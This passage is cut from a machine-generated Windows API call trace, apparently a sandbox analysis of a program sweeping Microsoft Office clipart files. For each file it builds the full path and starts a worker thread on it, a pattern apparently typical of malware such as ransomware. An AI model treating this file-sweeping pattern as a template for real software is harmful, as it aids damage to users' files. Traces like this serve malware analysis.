ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5130, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00687_.WMF", cAlternateFileName="")) returned 1 [0145.852] wcscmp (_String1="DD00687_.WMF", _String2=".") returned 1 [0145.852] wcscmp (_String1="DD00687_.WMF", _String2="..") returned 1 [0145.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4a600 [0145.853] wcscpy (in: _Dest=0x1cf4a600, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.853] wcscat (in: _Dest=0x1cf4a600, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.853] wcscat (in: _Dest=0x1cf4a600, _Source="DD00687_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" [0145.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4a600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2028 [0145.854] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcb1e00, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcb1e00, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x600c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00705_.WMF", cAlternateFileName="")) returned 1 [0145.854] wcscmp (_String1="DD00705_.WMF", _String2=".") returned 1 [0145.854] wcscmp (_String1="DD00705_.WMF", _String2="..") returned 1 [0145.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4b650 [0145.854] wcscpy (in: _Dest=0x1cf4b650, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.854] wcscat (in: _Dest=0x1cf4b650, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.854] wcscat (in: _Dest=0x1cf4b650, _Source="DD00705_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" [0145.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x202c [0145.855] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb92d600, ftCreationTime.dwHighDateTime=0x1bd4b42, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb92d600, ftLastWriteTime.dwHighDateTime=0x1bd4b42, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01015_.WMF", cAlternateFileName="")) returned 1 [0145.855] wcscmp (_String1="DD01015_.WMF", _String2=".") returned 1 [0145.855] wcscmp (_String1="DD01015_.WMF", _String2="..") returned 1 [0145.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4acc0 [0145.855] wcscpy (in: _Dest=0x1cf4acc0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.855] wcscat (in: _Dest=0x1cf4acc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.855] wcscat (in: _Dest=0x1cf4acc0, _Source="DD01015_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" [0145.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4acc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2030 [0145.856] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x39e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01039_.WMF", cAlternateFileName="")) returned 1 [0145.857] wcscmp (_String1="DD01039_.WMF", _String2=".") returned 1 [0145.857] wcscmp (_String1="DD01039_.WMF", _String2="..") returned 1 [0145.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4ac30 [0145.857] wcscpy (in: _Dest=0x1cf4ac30, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.857] wcscat (in: _Dest=0x1cf4ac30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.857] wcscat (in: _Dest=0x1cf4ac30, _Source="DD01039_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" [0145.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4ac30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2034 [0145.858] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01138_.WMF", cAlternateFileName="")) returned 1 [0145.858] wcscmp (_String1="DD01138_.WMF", _String2=".") returned 1 [0145.858] wcscmp (_String1="DD01138_.WMF", _String2="..") returned 1 [0145.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4a9f0 [0145.858] wcscpy (in: _Dest=0x1cf4a9f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.858] wcscat (in: _Dest=0x1cf4a9f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.858] wcscat (in: _Dest=0x1cf4a9f0, _Source="DD01138_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" [0145.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4a9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2038 [0145.859] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01139_.WMF", cAlternateFileName="")) returned 1 [0145.859] wcscmp (_String1="DD01139_.WMF", _String2=".") returned 1 [0145.859] wcscmp (_String1="DD01139_.WMF", _String2="..") returned 1 [0145.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4ade0 [0145.859] wcscpy (in: _Dest=0x1cf4ade0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.859] wcscat (in: _Dest=0x1cf4ade0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.860] wcscat (in: _Dest=0x1cf4ade0, _Source="DD01139_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" [0145.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4ade0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x203c [0145.861] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01140_.WMF", cAlternateFileName="")) returned 1 [0145.861] wcscmp (_String1="DD01140_.WMF", _String2=".") returned 1 [0145.861] wcscmp (_String1="DD01140_.WMF", _String2="..") returned 1 [0145.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4a690 [0145.861] wcscpy (in: _Dest=0x1cf4a690, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.861] wcscat (in: _Dest=0x1cf4a690, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.861] wcscat (in: _Dest=0x1cf4a690, _Source="DD01140_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" [0145.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4a690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2040 [0145.862] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01143_.WMF", cAlternateFileName="")) returned 1 [0145.862] wcscmp (_String1="DD01143_.WMF", _String2=".") returned 1 [0145.862] wcscmp (_String1="DD01143_.WMF", _String2="..") returned 1 [0145.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4ab10 [0145.863] wcscpy (in: _Dest=0x1cf4ab10, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.863] wcscat (in: _Dest=0x1cf4ab10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.863] wcscat (in: _Dest=0x1cf4ab10, _Source="DD01143_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" [0145.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4ab10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2044 [0145.864] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xadc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01145_.WMF", cAlternateFileName="")) returned 1 [0145.864] wcscmp (_String1="DD01145_.WMF", _String2=".") returned 1 [0145.864] wcscmp (_String1="DD01145_.WMF", _String2="..") returned 1 [0145.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c4f0 [0145.864] wcscpy (in: _Dest=0x1cf4c4f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.864] wcscat (in: _Dest=0x1cf4c4f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.864] wcscat (in: _Dest=0x1cf4c4f0, _Source="DD01145_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" [0145.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c4f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2048 [0145.865] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01146_.WMF", cAlternateFileName="")) returned 1 [0145.865] wcscmp (_String1="DD01146_.WMF", _String2=".") returned 1 [0145.865] wcscmp (_String1="DD01146_.WMF", _String2="..") returned 1 [0145.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4a840 [0145.865] wcscpy (in: _Dest=0x1cf4a840, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.865] wcscat (in: _Dest=0x1cf4a840, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.865] wcscat (in: _Dest=0x1cf4a840, _Source="DD01146_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" [0145.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4a840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x204c [0145.866] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01151_.WMF", cAlternateFileName="")) returned 1 [0145.866] wcscmp (_String1="DD01151_.WMF", _String2=".") returned 1 [0145.866] wcscmp (_String1="DD01151_.WMF", _String2="..") returned 1 [0145.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4a7b0 [0145.867] wcscpy (in: _Dest=0x1cf4a7b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.867] wcscat (in: _Dest=0x1cf4a7b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.867] wcscat (in: _Dest=0x1cf4a7b0, _Source="DD01151_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" [0145.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4a7b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2050 [0145.868] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01152_.WMF", cAlternateFileName="")) returned 1 [0145.868] wcscmp (_String1="DD01152_.WMF", _String2=".") returned 1 [0145.868] wcscmp (_String1="DD01152_.WMF", _String2="..") returned 1 [0145.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4a720 [0145.868] wcscpy (in: _Dest=0x1cf4a720, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.868] wcscat (in: _Dest=0x1cf4a720, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.868] wcscat (in: _Dest=0x1cf4a720, _Source="DD01152_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" [0145.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4a720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2054 [0145.869] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01157_.WMF", cAlternateFileName="")) returned 1 [0145.869] wcscmp (_String1="DD01157_.WMF", _String2=".") returned 1 [0145.869] wcscmp (_String1="DD01157_.WMF", _String2="..") returned 1 [0145.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4a960 [0145.869] wcscpy (in: _Dest=0x1cf4a960, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.869] wcscat (in: _Dest=0x1cf4a960, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.869] wcscat (in: _Dest=0x1cf4a960, _Source="DD01157_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" [0145.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4a960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2058 [0145.870] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01160_.WMF", cAlternateFileName="")) returned 1 [0145.870] wcscmp (_String1="DD01160_.WMF", _String2=".") returned 1 [0145.870] wcscmp (_String1="DD01160_.WMF", _String2="..") returned 1 [0145.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c460 [0145.871] wcscpy (in: _Dest=0x1cf4c460, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.871] wcscat (in: _Dest=0x1cf4c460, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.871] wcscat (in: _Dest=0x1cf4c460, _Source="DD01160_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" [0145.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x205c [0145.872] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01162_.WMF", cAlternateFileName="")) returned 1 [0145.872] wcscmp (_String1="DD01162_.WMF", _String2=".") returned 1 [0145.872] wcscmp (_String1="DD01162_.WMF", _String2="..") returned 1 [0145.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4b770 [0145.872] wcscpy (in: _Dest=0x1cf4b770, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.872] wcscat (in: _Dest=0x1cf4b770, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.872] wcscat (in: _Dest=0x1cf4b770, _Source="DD01162_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" [0145.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2060 [0145.873] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01163_.WMF", cAlternateFileName="")) returned 1 [0145.873] wcscmp (_String1="DD01163_.WMF", _String2=".") returned 1 [0145.873] wcscmp (_String1="DD01163_.WMF", _String2="..") returned 1 [0145.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4b9b0 [0145.873] wcscpy (in: _Dest=0x1cf4b9b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.873] wcscat (in: 